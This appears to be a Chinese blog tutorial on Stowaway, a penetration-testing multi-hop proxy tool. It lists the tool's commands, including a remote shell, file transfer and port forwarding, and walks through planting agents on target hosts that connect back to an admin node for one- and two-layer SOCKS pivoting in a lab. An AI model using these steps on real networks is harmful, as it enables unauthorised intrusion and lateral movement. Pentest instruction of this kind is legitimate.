Socks代理实战(Stowaway)

Stowaway简介

https://github.com/ph4ntonn/Stowaway

Stowaway是一个利用go语言编写、专为渗透测试工作者制作的多级代理工具

用户可使用此程序将外部流量通过多个节点代理至内网,突破内网访问限制,构造树状节点网络,并轻松实现管理功能

名词解释

  • 节点: 指 admin || agent
  • 主动模式: 指当前操作的节点主动连接另一个节点
  • 被动模式: 指当前操作的节点监听某个端口,等待另一个节点连接
  • 上游: 指当前操作的节点与其父节点之间的流量
  • 下游: 指当前操作的节点与其所有子节点之间的流量

Stowaway使用说明

Stowaway分为两个角色,分别是:

  • admin 渗透测试者使用的主控端
  • agent 渗透测试者部署的被控端

admin

admin 用法:

1
2
3
4
5
>> ./stowaway_admin -l <port> -s [secret]
>> ./stowaway_admin -c <ip:port> -s [secret]
>> ./stowaway_admin -c <ip:port> -s [secret] --proxy <ip:port> --proxyu [username] --proxyp [password]
>> ./stowaway_admin -c <ip:port> -s [secret] --rhostreuse
>> ./stowaway_admin -c <ip:port> -s [secret] --proxy <ip:port> --proxyu [username] --proxyp [password] --rhostreuse

admin 参数:

1
2
3
4
5
6
7
-l 被动模式下的监听地址 [ip]:<port>
-s 节点通信加密密钥,所有节点(admin&&agent)必须一致
-c 主动模式下的目标节点地址
--proxy socks5代理服务器地址
--proxyu socks5代理服务器用户名(可选)
--proxyp socks5代理服务器密码(可选)
--down 下游协议类型,默认为裸TCP流量,可选HTTP

admin 主 panel 选项:

1
2
3
4
5
6
(admin) >> help
help 显示帮助信息
detail 展示在线节点的详细信息
topo 展示在线节点的父子关系
use <id> 选择你要使用的目标节点
exit 退出 Stowaway

admin node panel 选项:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
(node 0) >> help
help 显示帮助信息
listen 开始监听当前节点的端口
addmemo <string> 为当前节点添加备忘录
delmemo 删除当前节点的备忘录
ssh <ip:port> 通过当前节点启动SSH
shell 在当前节点上启动一个交互式外壳
socks <lport> [username] [pass] 启动一个socks5服务器
stopsocks 关闭socks服务
connect <ip:port> 连接到一个新节点
sshtunnel <ip:sshport> <agent port> 使用sshtunnel将节点添加到我们的拓扑结构中
upload <local filename> <remote filename> 上传文件到当前节点
download <remote filename> <local filename> 从当前节点下载文件
forward <lport> <ip:port> 转发本地端口到特定的远程 ip:port
stopforward 关闭转发服务
backward <rport> <lport> 将远程端口(agent)后退到本地端口(admin)。
stopbackward 关闭backward服务
shutdown 终止当前节点
back 返回到父面板
exit 退出Stowaway

agent

agent 参数:

1
2
3
4
5
6
7
8
9
10
11
-l 被动模式下的监听地址[ip]:<port>
-s 节点通信加密密钥
-c 主动模式下的目标节点地址
--proxy socks5代理服务器地址
--proxyu socks5代理服务器用户名(可选)
--proxyp socks5代理服务器密码(可选)
--reconnect 重连时间间隔
--rehost 端口复用时复用的IP地址
--report 端口复用时复用的端口号
--up 上游协议类型,默认为裸TCP流量,可选HTTP
--down 下游协议类型,默认为裸TCP流量,可选HTTP

建立一层Socks代理

VPS上启动admin监听

1
./stowaway_admin -l 9999 -s hack

image-20230914135227927

Target1启动agent

1
./stowaway_agent -c 192.168.0.132:9999 -s hack

image-20230914135337310

开启socks代理

进入Target1的node节点,使用socks命令开启socks代理

1
2
use 0
socks 1080

image-20230914145833505

image-20230914150052450

测试socks代理

image-20230914152306373

建立二层Socks代理

在node中开启监听

进入node 0节点,执行listen,设置监听端口,开启监听模式

1
2
3
4
use 0
listen
1
7070

image-20230914152558621

在 Target1 上可以看到 agent 监听了 7070 端口

image-20230914152632092

Target2连接监听端口

在 Target2 中连接 Target1 监听的 7070 端口

1
./stowaway_agent -c 192.168.22.11:7070 -s hack

image-20230914153959831

开启Socks代理

admin 接收到新的 node 1, 进入 node 1 节点开启 socks 代理

image-20230914154009067

image-20230914154140580

image-20230914155306200

测试代理

image-20230914155335347

image-20230914155257051